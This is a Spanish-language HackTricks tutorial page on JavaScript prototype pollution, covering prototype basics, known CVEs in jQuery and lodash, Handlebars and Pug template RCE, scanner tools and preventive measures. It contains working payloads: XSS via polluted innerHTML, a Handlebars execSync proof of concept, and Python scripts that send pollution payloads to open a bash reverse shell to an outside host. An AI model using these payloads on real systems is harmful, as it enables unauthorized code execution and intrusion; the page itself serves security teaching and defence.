NodeJS - __proto__ & prototype Pollution

Aprende hacking en AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Objetos en JavaScript

Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede crearse utilizando Object.create con null como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin ninguna propiedad heredada.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Un objeto vacío es similar a un diccionario vacío, representado como {}.

Funciones y Clases en JavaScript

En JavaScript, las clases y las funciones están estrechamente vinculadas, con las funciones a menudo sirviendo como constructores para las clases. A pesar de la falta de soporte nativo de clases en JavaScript, los constructores pueden emular el comportamiento de una clase.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototipos en JavaScript

JavaScript permite la modificación, adición o eliminación de atributos de prototipo en tiempo de ejecución. Esta flexibilidad permite la extensión dinámica de las funcionalidades de una clase.

Funciones como toString y valueOf pueden ser alteradas para cambiar su comportamiento, demostrando la naturaleza adaptable del sistema de prototipos de JavaScript.

Herencia

En la programación basada en prototipos, las propiedades/métodos son heredados por objetos de clases. Estas clases se crean añadiendo propiedades/métodos a una instancia de otra clase o a un objeto vacío.

Cabe destacar que cuando se añade una propiedad a un objeto que sirve como prototipo para otros objetos (como myPersonObj), los objetos que heredan obtienen acceso a esta nueva propiedad. Sin embargo, esta propiedad no se muestra automáticamente a menos que se invoque explícitamente.

Contaminación de __proto__

Explorando la Contaminación de Prototipos en JavaScript

Los objetos de JavaScript están definidos por pares clave-valor y heredan del prototipo de objeto de JavaScript. Esto significa que alterar el prototipo de Object puede influir en todos los objetos en el entorno.

Vamos a usar un ejemplo diferente para ilustrar:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

El acceso al prototipo de Object es posible a través de:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Al agregar propiedades al prototipo Object, todos los objetos de JavaScript heredarán estas nuevas propiedades:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

contaminación de prototipos

Para un escenario donde el uso de __proto__ está restringido, modificar el prototipo de una función es una alternativa:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Esto afecta solo a los objetos creados a partir del constructor Vehicle, dándoles las propiedades beep, hasWheels, honk e isElectric.

Dos métodos para afectar globalmente a los objetos JavaScript a través de la contaminación del prototipo incluyen:

  1. Contaminando directamente el Object.prototype:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Contaminando el prototipo de un constructor para una estructura comúnmente utilizada:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Después de estas operaciones, cada objeto JavaScript puede ejecutar los métodos goodbye y greet.

Contaminando otros objetos

De una clase a Object.prototype

En un escenario donde puedes contaminar un objeto específico y necesitas llegar a Object.prototype puedes buscarlo con algo similar al siguiente código:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Contaminación de elementos de un array

Tenga en cuenta que al igual que puede contaminar atributos de objetos en JS, si tiene acceso para contaminar un array, también puede contaminar los valores del array accesibles por índices (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que de alguna manera se utilicen pero no se escriban).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Contaminación de elementos Html

Al generar un elemento HTML a través de JS, es posible sobrescribir el atributo innerHTML para hacer que escriba código HTML arbitrario. Idea y ejemplo de este informe.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Ejemplos

Ejemplo Básico

Una contaminación de prototipo ocurre debido a una falla en la aplicación que permite sobrescribir propiedades en Object.prototype. Esto significa que dado que la mayoría de los objetos derivan sus propiedades de Object.prototype

El ejemplo más sencillo es agregar un valor a un atributo no definido de un objeto que va a ser verificado, como:

if (user.admin) {

Si el atributo admin está sin definir, es posible abusar de una PP y establecerlo en Verdadero con algo como:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

El mecanismo detrás de esto implica manipular propiedades de tal manera que si un atacante tiene control sobre ciertas entradas, pueden modificar el prototipo de todos los objetos en la aplicación. Esta manipulación típicamente implica establecer la propiedad __proto__, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto.

Las condiciones bajo las cuales este ataque puede ejecutarse con éxito, como se describe en un estudio específico, incluyen:

  • Realizar una fusión recursiva.

  • Definir propiedades basadas en una ruta.

  • Clonar objetos.

Función de anulación

customer.__proto__.toString = ()=>{alert("polluted")}

Contaminación de Prototipos a RCE

pagePrototype Pollution to RCE

Otros payloads:

Contaminación de prototipos del lado del cliente a XSS

pageClient Side Prototype Pollution

CVE-2019–11358: Ataque de contaminación de prototipos a través de jQuery $ .extend

Para más detalles, consulta este artículo En jQuery, la función $ .extend puede llevar a la contaminación de prototipos si se utiliza incorrectamente la función de copia profunda. Esta función se usa comúnmente para clonar objetos o fusionar propiedades de un objeto predeterminado. Sin embargo, cuando está mal configurada, las propiedades destinadas a un nuevo objeto pueden asignarse al prototipo en su lugar. Por ejemplo:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso de administrador no autorizado si propiedades como isAdmin se verifican sin una verificación de existencia adecuada.

CVE-2018–3721, CVE-2019–10744: Ataque de polución de prototipos a través de lodash

Para más detalles consulta este artículo

Lodash encontró vulnerabilidades similares de polución de prototipos (CVE-2018–3721, CVE-2019–10744). Estos problemas se abordaron en la versión 4.17.11.

Otro tutorial con CVEs

Herramientas para detectar la Polución de Prototipos

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Extensión de Burp Suite diseñada para detectar y analizar vulnerabilidades de polución de prototipos en el lado del servidor en aplicaciones web. Esta herramienta automatiza el proceso de escaneo de solicitudes para identificar posibles problemas de polución de prototipos. Explota gadgets conocidos, métodos para aprovechar la polución de prototipos para ejecutar acciones dañinas, centrándose particularmente en las bibliotecas de Node.js.

  • server-side-prototype-pollution: Esta extensión identifica vulnerabilidades de polución de prototipos en el lado del servidor. Utiliza técnicas descritas en la polución de prototipos en el lado del servidor.

Polución de Prototipos AST en NodeJS

NodeJS utiliza extensamente Árboles de Sintaxis Abstracta (AST) en JavaScript para funcionalidades como motores de plantillas y TypeScript. Esta sección explora las vulnerabilidades relacionadas con la polución de prototipos en motores de plantillas, específicamente Handlebars y Pug.

Análisis de Vulnerabilidad de Handlebars

El motor de plantillas Handlebars es susceptible a un ataque de polución de prototipos. Esta vulnerabilidad surge de funciones específicas dentro del archivo javascript-compiler.js. La función appendContent, por ejemplo, concatena pendingContent si está presente, mientras que la función pushSource restablece pendingContent a undefined después de agregar la fuente.

Proceso de Explotación

La explotación aprovecha el AST (Árbol de Sintaxis Abstracta) producido por Handlebars, siguiendo estos pasos:

  1. Manipulación del Analizador: Inicialmente, el analizador, a través del nodo NumberLiteral, obliga a que los valores sean numéricos. La polución de prototipos puede eludir esto, permitiendo la inserción de cadenas no numéricas.

  2. Manejo por el Compilador: El compilador puede procesar un Objeto AST o una plantilla de cadena. Si input.type es igual a Program, la entrada se trata como preanalizada, lo que puede ser explotado.

  3. Inyección de Código: A través de la manipulación de Object.prototype, se puede inyectar código arbitrario en la función de plantilla, lo que puede llevar a la ejecución remota de código.

Un ejemplo que demuestra la explotación de la vulnerabilidad de Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Este código muestra cómo un atacante podría inyectar código arbitrario en una plantilla de Handlebars.

Referencia Externa: Se encontró un problema relacionado con la contaminación de prototipos en la biblioteca 'flat', como se detalla aquí: Issue on GitHub.

Referencia Externa: Problema relacionado con la contaminación de prototipos en la biblioteca 'flat'

Ejemplo de explotación de contaminación de prototipos en Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Vulnerabilidad de Pug

Pug, otro motor de plantillas, enfrenta un riesgo similar de contaminación de prototipos. La información detallada está disponible en la discusión sobre Inyección AST en Pug.

Ejemplo de contaminación de prototipos en Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Medidas Preventivas

Para reducir el riesgo de la contaminación del prototipo, se pueden emplear las estrategias enumeradas a continuación:

  1. Inmutabilidad de Objetos: El Object.prototype puede hacerse inmutable aplicando Object.freeze.

  2. Validación de Entradas: Las entradas JSON deben ser rigurosamente validadas contra el esquema de la aplicación.

  3. Funciones de Fusión Seguras: Se debe evitar el uso inseguro de funciones de fusión recursivas.

  4. Objetos sin Prototipo: Se pueden crear objetos sin propiedades de prototipo utilizando Object.create(null).

  5. Uso de Mapas: En lugar de Object, se debe usar Map para almacenar pares clave-valor.

  6. Actualizaciones de Bibliotecas: Se pueden incorporar parches de seguridad actualizando regularmente las bibliotecas.

  7. Herramientas de Linter y Análisis Estático: Utilice herramientas como ESLint con complementos apropiados para detectar y prevenir vulnerabilidades de contaminación del prototipo.

  8. Revisiones de Código: Implemente revisiones de código exhaustivas para identificar y remediar posibles riesgos relacionados con la contaminación del prototipo.

  9. Formación en Seguridad: Eduque a los desarrolladores sobre los riesgos de la contaminación del prototipo y las mejores prácticas para escribir código seguro.

  10. Uso Cauteloso de Bibliotecas: Sea cauteloso al usar bibliotecas de terceros. Evalúe su postura de seguridad y revise su código, especialmente aquellos que manipulan objetos.

  11. Protección en Tiempo de Ejecución: Emplee mecanismos de protección en tiempo de ejecución, como el uso de paquetes npm centrados en la seguridad que pueden detectar y prevenir ataques de contaminación del prototipo.

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización